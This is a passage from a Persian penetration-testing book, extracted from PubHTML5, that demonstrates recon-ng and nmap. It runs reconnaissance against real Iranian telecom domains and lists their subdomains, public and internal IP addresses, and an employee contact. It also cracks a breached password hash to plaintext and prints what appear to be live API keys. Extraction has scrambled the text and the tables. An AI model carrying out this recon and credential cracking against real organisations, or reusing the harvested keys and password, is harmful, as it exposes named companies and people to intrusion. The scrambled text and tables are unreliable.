Important Announcement
PubHTML5 Scheduled Server Maintenance on (GMT) Sunday, June 26th, 2:00 am - 8:00 am.
PubHTML5 site will be inoperative during the times indicated!

Home Explore kasr-2

kasr-2

Published by siyavashporgham, 2016-07-23 08:01:51

Description: kasr-2

Search

Read the Text Version

51 ‫بررسی محرک ها و روشهای تست نفوذ پیشرفته بروی زیر ساخت های شبکه های کابلی و بی سیم‬recon-ng ‫ الزامی به ایجاد یک فضای کاری در‬.‫ را ایجاد نمود‬workspace ‫برای شروع بایستی ابتدا یک فضای کاری یا‬‫ سپس بایستی‬.‫نیست اما با این کار می توان همزمان چندین کار را بروی فضای های کاری مختلف بدون اشتباه در خروجی انجام داد‬‫(دستورات شماره‬.‫دامنه مورد نظر خود را اضافه کرد و در ادامه می توان دامنه های اضافه شده به یک فضای کاری را مشاهده کرد‬ )3۶ 36 ‫دستورات شماره‬[71] Recon modules[7] Reporting modules[2] Import modules[2] Exploitation modules[2] Discovery modules[recon-ng][default] > workspaces add irancell[recon-ng][irancell] > add domains irancell.ir[recon-ng][irancell] > show domains +--------------------------------------------------+ | rowid | domain | module | +--------------------------------------------------+ | 1 | irancell.ir | user_defined | +--------------------------------------------------+[*] 1 rows returned.‫ هستند استفاده کنیم کافیست تا این واژه را جستجو کنیم‬domains‫ که مرتبط با واژه‬recong-ng ‫اگر بخواهیم از ماژوهای‬ ‫ استفاده می کنیم‬31‫برای استفاده و مشاهده نتایج از دستورات شماره‬ 37 ‫دستورات شماره‬[recon-ng][irancell] > search domains domains ‫جستجوی ماژولهای مرتبط با‬[*] Searching for 'domains'...Recon-----recon/contacts-domains/migrate_contactsrecon/domains-contacts/pgp_searchrecon/domains-contacts/salesmaplerecon/domains-contacts/whois_pocs................[recon-ng][irancell] > load recon/domains-contacts/pgp_search ‫استفاده از یک ماژول خاص‬[recon-ng][irancell][pgp_search] > show info ‫مشاهده اطلاعات درباره ماژول در حال استفاده‬Name: PGP Key Owner Lookup Path: modules/recon/domains-contacts/pgp_search.py Author: Robert Frost (@frosty_1313, frosty[at]unluckyfrosty.net)Description: Searches the MIT public PGP key server for email addresses of the given domain. Updates the 'contacts' table with the results.

52 ‫بررسی محرک ها و روشهای تست نفوذ پیشرفته بروی زیر ساخت های شبکه های کابلی و بی سیم‬ 37 ‫ادامه دستورات شماره‬Options: Name Current Value Required Description ------ ------------- -------- ----------- SOURCE default yes source of input (see 'show info' for details)Source Options:default SELECT DISTINCT domain FROM domains WHERE domain IS NOT NULL ORDER BY domain<string> string representing a single input<path> path to a file containing a list of inputsquery <sql> database query returning one column of inputsComments: * Inspiration from theHarvester.py by Christan Martorella: cmarorella[at]edge-seecurity.com ‫ قابل‬set ‫ است که با دستور‬SOURCE ‫ همان طور که مشاهده می کنید در اینجا تنها مقداری که می تواند تغییر کند‬.‫ از اطلاعاتی که داخل دیتا بیس ذخیره می شوند استفاده می کند‬Recon-ng .‫ استفاده می کنیم که برای بدست آوردن ایمیل افراد است‬pgp_search ‫ در اینجا ما از ماژول‬.‫تغییر است‬[recon-ng][irancell][pgp_search] > run ‫اجرای ماژول‬-----------IRANCELL.IR-----------[*] Kaveh Shahrivar ([email protected])-------SUMMARY-------[*] 1 total (0 new) contacts found.‫ برای این کار ابتدا از دستور زیر استفاده می کنیم که نام کل جدول ها به همراه‬.‫برای مشاهده نتایج بایستی نام جدولی که مقادیر جدید در آن ذخیره می شوند را بدانیم‬ ‫وضعیت فعلی آنها را نشان می دهد‬[recon-ng][irancell][pgp_search] > show dashboard ‫برای مشاهده نتایج اجرای ماژول قبل از دستور زیر استفاده می کنیم‬[recon-ng][irancell][pgp_search] > show contacts ‫خروجی را در شکل زیر مشاهده می کنید‬hibp_breach ‫برای جستجوی اطلاعات مانند مجوز نامه های مرتبط با ایمیل های خروجی ماژول قبل می توان از ماژول‬ )32 ‫ استفاه می کند(مطابق با دستورات شماره‬https://haveibeenpwned.com ‫استفاده کرد که از سایت‬ 38 ‫دستورات شماره‬[recon-ng][irancell] > search contacts contacts ‫جستجوی ماژولهای مرتبط با‬Recon-----recon/companies-contacts/facebookrecon/companies-contacts/jigsaw/point_usagerecon/companies-contacts/jigsaw/purchase_contact………….[recon-ng][irancell] > use recon/contacts-credentials/hibp_breach[recon-ng][irancell] > run

53 ‫بررسی محرک ها و روشهای تست نفوذ پیشرفته بروی زیر ساخت های شبکه های کابلی و بی سیم‬ 38 ‫ادامه دستورات شماره‬ )‫(شکل زیر‬.‫ مشاهده کرد‬credentials ‫نتایج خروجی ماژول بالا را می توان در جدول‬ .‫ دارد‬API ‫ استفاده کرد که نیار به کلید‬hashes_org ‫ است می توان از ماژول دیگری به نام‬MD5 ‫برای شکستن مقدار هش بالا که از نوع‬[recon-ng][default] > search hash]*[Searching for 'hash...' Recon----- recon/credentials-credentials/hashes_org[recon-ng][default] > use recon/credentials-credentials/hashes_org[recon-ng][default][hashes_org] > show info Name: Hashes.org Hash Lookup Path: modules/recon/credentials-credentials/hashes_org.pyAuthor: Tim Tomes (@LaNMaSteR53) and Mike Lisi (@MikeCodesThings)Description: Uses the Hashes.org API to perform a reverse hash lookup. Updates the 'credentials' table with the positive results.Options: Name Current Value Required Description----------- -------- ------------- ------ SOURCE default yes source of input (see 'show info' for details)Source Options:default SELECT DISTINCT hash FROM credentials WHERE hash IS NOT NULL AND password IS NULL AND type IS NOT 'Adobe'< string> string representing a single input< path> path to a file containing a list of inputsquery <sql> database query returning one column of inputsComments:* Hash types supported: MD5, MD4, NTLM, LM, DOUBLEMD5, TRIPLEMD5, MD5SHA1, SHA1, MYSQL5, SHA1MD5, DOUBLESHA1, RIPEMD160‫ بدست‬API ‫ و ثبت نام در سایت می توان یک کلید‬Hashes.org ‫ با مراجعه به وب سایت‬،‫ مشخص شده است‬Description ‫همانطور که در بخش‬ ‫آورد‬[recon-ng][irancell][hashes_org] > keys add hashes_api e480NNjV9klGLP4YGHbm5kpLGgU84V ‫از طریق دستور بالا می توان کلید را به ماژول اضافه کرد‬[recon-ng][irancell][hashes_org] > run]*[ec0338f342f6978f0abd263ebea7f0a3 (MD5) => 123qwe12as[recon-ng][irancell][hashes_org]>[recon-ng][irancell] > use recon/hosts-hosts/resolve[recon-ng][irancell] > run ‫ است‬IP ‫این ماژول برای تبدیل نام ها به آدرس های‬

‫بررسی محرک ها و روشهای تست نفوذ پیشرفته بروی زیر ساخت های شبکه های کابلی و بی سیم ‪54‬‬‫‪ 2-6-1-2‬بخش دوم – بدست آوردن اطلاعات دامنه ها و هاست ها با استفاده از ‪recon-ng‬‬‫در این بخش قصد داریم اطلاعاتی را که از یک دامنه می توان بدست آورد را توضیح دهیم‪ .‬فرض کنید در فضای کاری قبل با دامنه‬‫‪ irancell.ir‬برای افزایش درگاهای نفوذ‪ ،‬بایستی ساب دامین ها رابدست بیاوریم‪ .‬برای این کار از چند ماژول ‪recocn-ng‬‬‫استفاده خواهیم کرد تا اطلاعات کاملی از ساب دامین های دامنه اصلی داشته باشیم‪ .‬ما از ماژول های زیر برای این کار استفاده می‬ ‫کنیم‬ ‫مقدار ‪api key‬بدست آورده شده‬ ‫نیاز به ‪api key‬‬ ‫نام ماژول‬ ‫‪-‬‬ ‫ندارد‬ ‫‪baidu_site‬‬ ‫دارد‬ ‫‪bing_domain_api‬‬‫‪xxS6+J5+6mbQ+NTpswPfLTazYEl+/W/un8tlIYOXeQ3‬‬ ‫ندارد‬ ‫‪netcraft‬‬ ‫‪-‬‬ ‫‪google_site_web‬‬ ‫‪-‬‬ ‫دارد اما اجباری نیست‬ ‫‪shodan_hostname‬‬ ‫دارد‬ ‫‪brute_hosts‬‬ ‫‪rlrzEkhj5NI9czVIqQzX8f3b3OUStVuD‬‬ ‫ندارد‬ ‫‪-‬‬‫به ترتیب از ماژول های بالا استفاده می کنیم تا لیست کاملی از ساب دامین ها بدست آوریم‪ .‬برای اضافه کردن کلید ‪ api‬نیز‬ ‫همانند روشی که برای ‪ hashes.og‬به کار بردیم استفاده می کنیم‪ .‬بنابراین همانند دستورات شماره ‪ 31‬عمل می کنیم‬ ‫دستورات شماره ‪39‬‬‫‪[recon-ng][irancell] > use recon/domains-hosts/baidu_site‬‬‫‪[recon-ng][irancell] > run‬‬‫جستجوی هاست ها‬‫‪[recon-ng][irancell] > use recon/domains-hosts/bing_domain_api‬‬‫‪[recon-ng][irancell] > run‬‬‫جستجوی هاست ها‬‫‪[recon-ng][irancell] > use recon/domains-hosts/netcraft‬‬‫‪[recon-ng][irancell] > run‬‬‫جستجوی هاست ها‬‫‪[recon-ng][irancell] > use recon/domains-hosts/google_site_web‬‬‫‪[recon-ng][irancell] > run‬‬‫جستجوی هاست ها‬‫‪[recon-ng][irancell][shodan_hostname] > use recon/domains-hosts/shodan_hostname‬‬‫‪[recon-ng][irancell] > run‬‬‫جستجوی هاست ها‬‫‪[recon-ng][irancell][brute_hosts] > use recon/domains-hosts/brute_hosts‬‬‫‪[recon-ng][irancell] > run‬‬‫جستجوی هاست ها‬‫بعد از استفاده از دستور بالا از ماژولی که در دستور شماره ‪ 42‬مشخص شده است استفاده می کنیم تا عمل ‪ Resolve the hosts‬انجام‬ ‫شود‪ .‬خروجی در نتایج ‪ 41‬تا ‪ 45‬مشخص شده است‬

55 ‫بررسی محرک ها و روشهای تست نفوذ پیشرفته بروی زیر ساخت های شبکه های کابلی و بی سیم‬ 41 ‫دستورات شماره‬[recon-ng][irancell] > use recon/hosts-hosts/resolve[recon-ng][irancell] > run ‫هاست‬ ‫نتایج بدست آمده برای ایرانسل‬ 41 ‫نتایج شماره‬ bill.irancell.ir ‫آدرس‬IP charge.irancell.ir ‫ماژول استفاده شده‬ charsoo.irancell.ir 92.42.51.224 google_site_webcorporate.irancell.ir 92.42.51.224 dana.irancell.ir 144.76.136.81 netcraft drive.irancell.ir 92.42.49.43 google_site_web drive.irancell.ir 92.42.49.43 google_site_web ecare.irancell.ir 92.42.55.94 google_site_web eform.irancell.ir 92.42.49.43 google_site_web file.irancell.ir 85.185.37.7 file.irancell.ir 92.42.49.43 resolve gisheh.irancell.ir 92.42.51.211 google_site_web imap.irancell.ir 92.42.51.211 google_site_web ipanel.irancell.ir 92.42.49.43 bing_domain_api jobs.irancell.ir 92.42.51.36 shodan_hostnameketabkhan.irancell.ir 92.42.49.43 google_site_weblist.charge-irancell.ir 92.42.51.211m.charge.irancell.ir 92.42.51.96 brute_hostsm.charge.irancell.ir 82.145.40.31 netcraft m.irancell.ir 92.42.51.245 mms.irancell.ir 92.42.51.245 brute_hosts nama.irancell.ir 92.42.49.43 google_site_web ns1.irancell.ir 92.42.49.78 shodan_hostname ns2.irancell.ir 92.42.49.84 bing_domain_api olr.irancell.ir 92.42.51.209 shodan_hostname 92.42.51.109 bing_domain_api 92.42.51.224 google_site_web google_site_web brute_hosts brute_hosts google_site_web

56 ‫بررسی محرک ها و روشهای تست نفوذ پیشرفته بروی زیر ساخت های شبکه های کابلی و بی سیم‬onlinechat.irancell.ir ‫نتایج بدست آمده برای ایرانسل‬ 41 ‫ادامه نتایج شماره‬ pay.irancell.ir 92.42.51.37 85.185.37.8 41‫نتایج شماره‬pishnahad.irancell.ir 92.42.49.43 pishvaz.irancell.ir 92.42.51.119 netcraft pop3.irancell.ir 92.42.51.36 netcraft rbt.irancell.ir 85.185.37.36 google_site_web ritm.irancell.ir netcraft sim.irancell.ir 79.175.176.221 brute_hosts smtp.irancell.ir 92.42.51.224 google_site_web 92.42.51.166 google_site_webspeedtest1.irancell.ir 5.118.0.3 google_site_web st.irancell.ir 85.185.36.84 brute_hosts 92.42.51.104 bing_domain_api vitrin.irancell.ir 92.42.51.251 google_site_web vitrin.irancell.ir 92.42.51.239 google_site_web vitrin.irancell.ir 92.42.51.105 resolve vitrin.irancell.ir 92.42.51.240 resolve vitrin.irancell.ir 92.42.51.249 resolve vitrin.irancell.ir 92.42.49.43 resolve wimax.irancell.ir 92.42.49.43 resolve www.irancell.ir 92.42.49.46 google_site_web www2.irancell.ir 92.42.49.43 netcraft zoom.irancell.ir brute_hosts google_site_webbazresi.tic.ir ‫نتایج بدست آمده برای زیر ساخت‬ 42 ‫نتایج شماره‬ bpay.tic.ir 80.191.24.17 ccp.tic.ir 80.191.24.29 41‫نتایج شماره‬ crm.tic.ir eorg3.tic.ir 80.191.24.17 bing_domain_api ftp.tic.ir 80.191.24.25 bing_domain_api 80.191.24.7 netcraft bing_domain_api bing_domain_api brute_hosts

57 ‫بررسی محرک ها و روشهای تست نفوذ پیشرفته بروی زیر ساخت های شبکه های کابلی و بی سیم‬karkonan.tic.ir 80.191.24.17 42 ‫ادامه نتایج شماره‬ mail.tic.ir 80.191.24.40 mail.tic.ir 80.191.24.40 41‫نتایج شماره‬ news.tic.ir 80.191.24.17 ns1.tic.ir 80.191.24.2 bing_domain_api ns2.tic.ir 80.191.24.9 bing_domain_api online.tic.ir 80.191.24.17 shodan_hostname sms.tic.ir 80.191.24.21 bing_domain_api voip.tic.ir www.tic.ir 2.188.0.94 brute_hosts www1.tic.ir 80.191.24.17 brute_hosts 80.191.24.15 bing_domain_api brute_hosts bing_domain_api bing_domain_api brute_hosts backup.mci.ir ‫نتایج بدست آمده برای همراه اول‬ 43 ‫نتایج شماره‬ billing.mci.ir 217.218.104.12 cert.mci.ir 217.218.104.3 41‫نتایج شماره‬ club.mci.ir 217.218.104.1 crm.mci.ir 217.218.104.24 brute_hosts data.mci.ir 217.218.110.137 bing_domain_apievoucher.mci.ir 217.218.104.14 217.218.110.149 brute_hosts lms.mci.ir 176.227.204.202 brute_hosts m.mci.ir 217.218.104.1 brute_hosts mail.mci.ir 217.218.105.5 brute_hosts mail.mci.ir 217.218.105.5 bing_domain_apimail.nak-mci.ir 5.160.202.11 bing_domain_api mail2.mci.ir 217.218.110.146 bing_domain_api mmbox.mci.ir 185.5.159.65 bing_domain_apimpardis.mci.ir 217.218.104.8 shodan_hostname my.mci.ir 217.218.104.14 shodan_hostname ns.mci.ir 217.218.105.9 brute_hosts ns1.mci.ir 217.218.105.9 bing_domain_api ns2.mci.ir 217.218.105.10 bing_domain_api pardis.mci.ir 217.218.104.9 bing_domain_api brute_hosts brute_hosts shodan_hostname bing_domain_api

58 ‫بررسی محرک ها و روشهای تست نفوذ پیشرفته بروی زیر ساخت های شبکه های کابلی و بی سیم‬ pop3.mci.ir 217.218.105.5 43 ‫ادامه نتایج شماره‬ rbt.mci.ir 217.218.104.2 rond.mci.ir 217.218.104.21 41‫نتایج شماره‬ setting.mci.ir 5.209.0.0 brute_hosts shop.mci.ir 217.218.104.16 bing_domain_api sim.mci.ir 217.218.104.23 bing_domain_api smtp.mci.ir 217.218.105.5 bing_domain_api speedtest.mci.ir bing_domain_api speedtest.mci.ir 5.106.0.30 bing_domain_api tablighak.mci.ir 5.106.0.34 test.mci.ir 217.218.105.37 brute_hosts webmail.mci.ir 217.218.105.30 bing_domain_api www.mci.ir 217.218.105.33www.mmbox.mci.ir 217.218.104.1 resolve 185.5.159.65 shodan_hostname ‫هاست‬ ‫نتایج بدست آمده برای رایتل‬ brute_hosts 2014.rightel.ir ‫آدرس‬IP shodan_hostname bing_domain_api av.rightel.ir 95.38.60.95 bing_domain_api charge.rightel.ir 81.91.144.61 185.24.139.28 44 ‫نتایج شماره‬ conf.rightel.ir 81.91.144.61 content.rightel.ir 185.24.139.10 41‫نتایج شماره‬ dealer.rightel.ir 91.229.215.249 ecare.rightel.ir 91.229.215.248 ‫ماژول استفاده شده‬elearning.rightel.ir 81.91.144.52 bing_domain_api kelaket.rightel.ir 185.24.139.12 95.38.60.95 brute_hosts lms.rightel.ir 81.91.144.50 bing_domain_api m.rightel.ir 91.229.215.158 mail.rightel.ir 91.229.215.155 brute_hosts mg.rightel.ir 81.91.144.41 brute_hosts my.rightel.ir bing_domain_api bing_domain_api bing_domain_api bing_domain_api google_site_web brute_hosts netcraft brute_hosts bing_domain_api

59 ‫بررسی محرک ها و روشهای تست نفوذ پیشرفته بروی زیر ساخت های شبکه های کابلی و بی سیم‬mybusiness.rightel.ir 91.229.215.219 44 ‫ادامه نتایج شماره‬ ns1.rightel.ir 185.24.139.18 ‫ادامه‬ ns2.rightel.ir 92.61.186.11 panel.rightel.ir 185.24.139.37 41‫نتایج شماره‬ radio.rightel.ir 185.24.139.10 185.24.139.10 bing_domain_api ramadan.rightel.ir 185.24.139.12 brute_hosts ramazan.rightel.ir 185.24.139.12 brute_hosts 91.229.215.139 rayehe.rightel.ir 81.91.144.39 bing_domain_api rbt.rightel.ir 81.91.144.36 brute_hosts rcs.rightel.ir 81.91.144.48 rdb.rightel.ir 185.24.139.9 bing_domain_api rec.rightel.ir 91.229.215.166 bing_domain_api reg.rightel.ir 81.91.144.49 bing_domain_api sec.rightel.ir 185.24.139.51 bing_domain_api 87.247.184.252 google_site_web security.rightel.ir 81.91.144.42 bing_domain_api soc.rightel.ir 81.91.144.54 bing_domain_api ssl.rightel.ir 185.24.139.50 bing_domain_api staff.rightel.ir 185.24.139.58 81.91.144.47 brute_hosts standard.rightel.ir 185.24.139.12 netcraft stats.rightel.ir 185.24.136.14 netcraft temp.rightel.ir 185.24.139.10 tender.rightel.ir 185.24.139.43 brute_hosts tv.rightel.ir netcraft vpn.rightel.ir www.rightel.ir bing_domain_api wwww.rightel.ir google_site_web brute_hosts bing_domain_api bing_domain_api brute_hosts bing_domain_api bing_domain_api310183316.r.afracdn.com ‫نتایج بدست آمده برای افرانت‬ 45 ‫نتایج شماره‬310183316.r.afracdn.com 79.175.175.19 79.175.174.3 41‫نتایج شماره‬ admin.afranet.com 80.75.0.20 azmoon.afranet.com 78.109.199.246 brute_hosts resolve brute_hosts bing_domain_api

60 ‫بررسی محرک ها و روشهای تست نفوذ پیشرفته بروی زیر ساخت های شبکه های کابلی و بی سیم‬ azmoon.afranet.com 78.109.199.200 45 ‫ادامه نتایج شماره‬ bb.afranet.com 172.16.1.13 172.16.1.13 41‫نتایج شماره‬distributers.afranet.com 80.75.0.11 ec.afranet.com 172.16.9.20 resolve erp.afranet.com 80.75.15.135 brute_hosts brute_hostseshopping.afranet.com 79.175.160.226 brute_hosts ftp.afranet.com 172.16.1.1 brute_hosts bing_domain_api hermes.afranet.com 79.175.160.166 brute_hosts host.afranet.com 80.75.0.13 brute_hosts imap.afranet.com 80.75.0.30 brute_hosts local.afranet.com 80.75.0.13 brute_hosts mail.afranet.com brute_hosts 217.218.98.5 bing_domain_api mercury.afranet.com 172.16.66.66 brute_hostsmonitoring.afranet.com brute_hosts 80.75.0.17 brute_hosts mrtg.afranet.com 80.75.0.13 brute_hosts mta.afranet.com 80.75.0.2 brute_hosts ns.afranet.com 79.175.136.5 brute_hosts ns1.afranet.com 79.175.136.2 brute_hosts ns2.afranet.com 80.75.0.16 brute_hosts ntp.afranet.com 80.75.0.16 brute_hosts ntp0.afranet.com 80.75.0.6 brute_hosts online.afranet.com 172.16.9.24 brute_hosts oracle.afranet.com 80.75.0.13 brute_hosts pop3.afranet.com 80.75.15.136 bing_domain_api portal.afranet.com 172.16.9.33 brute_hostsprintserver.afranet.com 172.16.1.3 brute_hosts radius.afranet.com 80.75.2.74 brute_hosts sa.afranet.com 80.75.0.10 bing_domain_api shop.afranet.com 144.76.191.151 google_site_web smk02.afranet.com 80.75.0.10 brute_hosts sms.afranet.com

61 ‫بررسی محرک ها و روشهای تست نفوذ پیشرفته بروی زیر ساخت های شبکه های کابلی و بی سیم‬ smtp.afranet.com 80.75.0.13 45 ‫ادامه نتایج شماره‬ stat.afranet.com 80.75.0.12 storage.afranet.com 172.16.1.7 41‫نتایج شماره‬ support.afranet.com 80.75.0.20 techsupport.afranet.com 80.75.0.10 brute_hosts ticket.afranet.com 79.175.175.3 brute_hosts tts.afranet.com 80.75.0.51 brute_hosts vg.afranet.com 172.16.1.19 brute_hosts voice.afranet.com 80.75.0.15 brute_hosts voip.afranet.com 80.75.0.17 bing_domain_api w3.afranet.com 80.75.0.11 bing_domain_api webmail.afranet.com 80.75.0.13 brute_hosts www.afranet.com 79.175.174.3 google_site_web www.afranet.com 79.175.175.19 brute_hostswww.azmoon.afranet.com 78.109.199.215 brute_hostswww.azmoon.afranet.com 78.109.199.214 brute_hostswww.azmoon.afranet.com 78.109.199.211 bing_domain_apiwww.azmoon.afranet.com 78.109.199.229 www2.afranet.com 80.75.15.131 resolve google_site_web resolve resolve resolve brute_hosts‫در این تست نیازی به حفظ ناشناس بودن نیست زیرا هیچ گونه نشتی بین سیستم ما و تارگت وجود ندارد اما برای رعایت یک سری‬‫ استفاده می‬4۶ ‫ یعنی از دستور شماره‬،‫ توضیح داد شد استفاده می کنیم‬6-1 ‫مسائل امنیتی از روشی که در فصل قبل در بخش‬ .‫کنیم‬[recon-ng][irancell] > proxychains recon-ng 46 ‫دستور شماره‬ 41‫نتایج شماره‬ Nmap ‫ با برنامه‬Active ‫ شناسایی در حالت‬2-2‫ می باشد و یک نرم افزار کاربردی برای جستجوی شبکه یا ممیزی امنیتی شبکه به شمار‬Network Mapper ‫مخفف‬Nmap‫ اگر چه می تواند بر روی سیستم های‬،‫ این نرم افزار طوری طراحی شده است که شبکه های بزرگ را به سرعت اسکن کند‬.‫میاید‬‫ های خام بصورت منحصر بفرد استفاده می کند تا تعیین کند چه رایانه هایی‬ip packet ‫ از‬Nmap .‫تنها نیز بخوبی کار کند‬

‫بررسی محرک ها و روشهای تست نفوذ پیشرفته بروی زیر ساخت های شبکه های کابلی و بی سیم ‪62‬‬ ‫)‪ (hosts‬بر روی شبکه در دسترس می باشند‪ ،‬چه سرویسهایی )‪ (ports‬ارائه می کنند‪ ،‬چه سیستم عاملهایی (بهمراه نسخه‬ ‫سیستم عامل) بر روی آنها در حال اجرا می باشد‪ ،‬چه نوع ‪ packet filter‬هایی (فایروال) مورد استفاده قرار گرفته و چندین پارامتر‬ ‫دیگر‪ Nmap .‬بر روی اکثر رایانه ها‪ ،‬هم گرافیکی و هم کنسول ها قابل استفاده است‪ Nmap .‬یک نرم افزار رایگان است که به‬ ‫همراه کدهای آن تحت واژه ‪ GNU GPL‬در دسترس می باشد‪.‬‬ ‫‪ 1-2-2‬ویژگیهای ‪Nmap‬‬ ‫‪ 1-1-2-2‬انعطاف پذیری‬ ‫از چندین تکنیک پیشرفته برای استخراج نقشه شبکه استفاده می کند که این نقشه از ‪ IP filter‬ها‪ ،‬فایروالها‪ ،‬مسیریابها و دیگر‬ ‫موانع تشکیل شده است‪ .‬این نقشه همچنین شامل بسیاری از پورتهای اسکن شده هم ‪ TCP‬و هم‪ ، UDP‬تشخیص سیستم عامل‪،‬‬ ‫‪ ping sweep‬ها و عوامل دیگر می باشد ‪.‬‬ ‫‪ 2-1-2-2‬قدرتمندی‬ ‫از ‪ Nmap‬جهت اسکن کردن شبکه های بسیار بزرگ به معنی واقعی کلمه‪ ،‬یعنی صدها هزار از ماشین‪ ،‬استفاده شده است‪.‬‬ ‫‪ 3-1-2-2‬قابلیت حمل‬ ‫بر روی اکثر سیستم عاملها استفاده می شود و از آن پشتیبانی می کنند‪ .‬این سیستم عاملها شامل ‪Open/Free/Net ، Linux‬‬ ‫‪ Sun OS ،HP-UX ،Mac OS ،IRIX ،Solaris ،BSD‬و غیره می باشد‪.‬‬ ‫‪ 4-1-2-2‬سادگی‬ ‫در ضمن اینکه ‪ Nmap‬یک مجموعه از خصوصیات پیشرفته را برای کاربران توانمند ارائه می دهد‪ ،‬شما می توانید استفاده از آن را‬ ‫با دستور ‪ nmap –O –sS targethost‬آغاز نمایید‪ .‬هم نسخه های ‪ command line‬و هم نسخه های گرافیکی )‪ (GUI‬بر‬ ‫اساس نیاز شما در دسترس می باشد‪ .‬نسخه باینری نیز برای برای کسانی که مایل به کامپایل کردن کدهای ‪ Nmap‬نیستند موجود‬ ‫می باشد‪.‬‬ ‫‪ 5-1-2-2‬رایگان‬ ‫هدف اولیه از پروژه ‪ Nmap‬جهت کمک به امن کردن بیشتر اینترنت و تجهیز مدیران شبکه ‪ /‬ممیزین شبکه ‪ (auditors) /‬هکرها‬ ‫به یک ابزار پیشرفته جهت جستجوی شبکه تحت کنترلشان بوده است‪.‬‬ ‫‪ 2-2-2‬روش عملکرد ‪Nmap‬‬ ‫در این قسمت به توضیح عملکرد نرم افزار ‪ Nmap‬تحت سیستم عامل ‪ Linux‬می پردازیم و سپس به توضیح سوئیچ های ‪Nmap‬‬ ‫که بصورت ‪ command line‬می باشند می پردازیم‬

‫بررسی محرک ها و روشهای تست نفوذ پیشرفته بروی زیر ساخت های شبکه های کابلی و بی سیم ‪63‬‬ ‫همانطور که گفته شد ‪ Nmap‬یک نرم افزار امنیتی می باشد که تعداد زیادی از تکنیکهای اسکن را پشتیبانی می کند که عبارت‬ ‫است از‬ ‫‪UDP ،TCP connect() ،TCP SYN (half open) ،FTP proxy (bounce attack) ،Reverse-ident ،ICMP (ping‬‬ ‫‪ Null scan .‬و ‪sweep) ،FIN ،ACK sweep ،Xmas Tree ،SIN sweep ،IP Protocol‬‬ ‫همچنین ‪ Nmap‬دارای بسیاری از قابلیتهای پیشرفته نظیر شناسایی ‪ OS‬با استفاده از ‪ ، TCP/IP‬اسکن نامحسوس ‪ ،‬محاسبات‬ ‫تاخیر دینامیکی و انتقال مجدد )‪ ، (retarnsmission‬اسکن موازی‪ ،‬شناسایی سیستم های خاموش )‪ (down hosts‬از طریق‬ ‫‪ ping‬های موازی‪ ،decoy scanning ،‬شناسایی پورتهای فیلتر شده ‪،direct (non-portmapper) RPC scanning ،‬‬ ‫‪ fragmentation scanning‬و همچنین تعیین پورت و هدف منعطف می باشد‪.‬‬ ‫نتیجه اجرای ‪ Nmap‬معمول ًا یک لیست از پورتهای جالب (در صورت وجود) از ماشین یا ماشینهایی که اسکن شده اند‪ ،‬می باشد‪.‬‬ ‫همیشه ‪ Nmap‬در مورد پورت شناخته شده )‪ (well knownport‬نام سرویس (در صورت وجود)‪ ،‬نام‪ ،‬وضعیت و پروتکل را می‬ ‫دهد‪ .‬وضعیت )‪ (state‬می تواند ‪ filtered ، open‬و ‪ unfiltered‬باشد‪ open .‬یعنی ماشین مورد نظر ارتباطات روی آن پورت‬ ‫را )(‪ connect‬خواهد کرد‪ filtered ،‬یعنی یک فایروال ‪ /‬فیلتر یا دیگر موانع موجود بر روی شبکه‪ ،‬پورت را پوشش می دهد و مانع‬ ‫آن می شود که ‪ Nmap‬تعیین کند که پورت باز است یا بسته و ‪ unfiltered‬یعنی آن پورتی که توسط ‪ Nmap‬شناسایی شده‪،‬‬ ‫بسته شده و بنظر می رسد هیچ فایروالی ‪ /‬فیلتری به تلاش ‪ Nmap‬برای تعیین وضعیت آن پورت توجه ندارد‪ .‬مواجه شدن با‬ ‫پورتهای‪ unfiltered‬متداول می باشند و زمانی این وضعیتها نشان داده می شوند که اکثر پورتهای اسکن شده در وضعیت‪filtered‬‬ ‫باشند‪.‬‬ ‫بسته به سوئیچهای استفاده شده‪Nmap ،‬می تواند مشخصات زیر را در ‪ remote host‬معین کند‪ :‬سیستم عامل مورد استفاده‪،‬‬ ‫‪ ،TCP sequencability‬نام کاربرانی که برنامه های منحصر به هر پورت را اجرا می کنند‪ ،‬نام ‪ ، DNS‬تعیین اینکه آیا میزبان‬ ‫یک ‪ smurf address‬می باشد و چند مشخصه دیگر‪ .‬همچنین ‪ Nmap‬دارای بسیاری از قابلیتهای پیشرفته نظیر موارد زیر‬ ‫میباشد‬ ‫شناسایی ‪ OS‬با استفاده از ‪TCP/IP‬‬ ‫اسکن نامحسوس )‪(stealth scanning‬‬ ‫محاسبات تاخیر دینامیکی و انتقال مجدد )‪(retarnsmission‬‬ ‫اسکن موازی‬ ‫شناسایی سیستم های خاموش )‪ (down hosts‬از طریق ‪ ping‬های موازی‬ ‫‪decoy scanning‬‬ ‫شناسایی پورتهای فیلتر شده‬ ‫‪direct (non-portmapper) RPC scanning‬‬

‫بررسی محرک ها و روشهای تست نفوذ پیشرفته بروی زیر ساخت های شبکه های کابلی و بی سیم ‪64‬‬ ‫‪fragmentation scanning‬‬‫‪root@linux-server:~# nmapexamole.com‬‬ ‫‪3-2-2‬دستورات مهم ‪nmap‬‬ ‫سادهترین دستور ‪ nmap‬در دستور شماره ‪ 41‬مشخصشده است‬ ‫دستور شماره ‪47‬‬ ‫نتایج شماره‪41‬‬‫در این دستور ابتدا برنامه تارگت مورد نظر را ‪ ping‬میکند و اگر تارگت جلوی بستههای ‪ ICMP‬را گرفته باشد ‪ nmap‬وضعیت‬ ‫‪ host‬را ‪ Down‬نشان میدهد‪.‬‬‫برای دیدن نتایج بیشتر میتوان از سوییچ ‪ –v‬استفاده کرد و برای مشاهده نتایج بیشتر از قبل از ‪ –vv‬استفاده کرد‪ .‬مانند دستور‬‫‪root@linux-server:~# nmap -VV example.com‬‬ ‫شماره ‪42‬‬ ‫دستور شماره ‪48‬‬ ‫نتایج شماره‪41‬‬‫برای مشخص کردن ‪ IP‬در ‪ nmap‬روشهای مختلفی وجود دارد که در دستورات شماره ‪ 41‬مشخصشدهاند‬‫‪root@linux-server:~# nmap x.y.z.k1 x.y.z.k2‬‬ ‫دستورات شماره ‪49‬‬‫‪root@linux-server:~# nmap x.y.z.x‬‬ ‫نتایج شماره‪41‬‬‫‪root@linux-server:~# nmap x.y.z.0/24‬‬‫‪root@linux-server:~# nmap - iL /root /IP.txt‬‬ ‫که دستور بالا لیست ‪ IP‬ها را از یک فایل میخواند‪.‬‬‫‪root@linux-server:~# nmap Range1 --exclude Range2‬‬‫که در دستور بالا تمامی ‪ IP‬هایی که در ‪ Range1‬هستند را اسکن میکند بهجز آنهایی که در ‪ Range2‬هستند‪.‬‬‫‪root@linux-server:~# nmap -O example.com‬‬ ‫برای تشخیص ‪ OS‬از دستور شماره ‪ 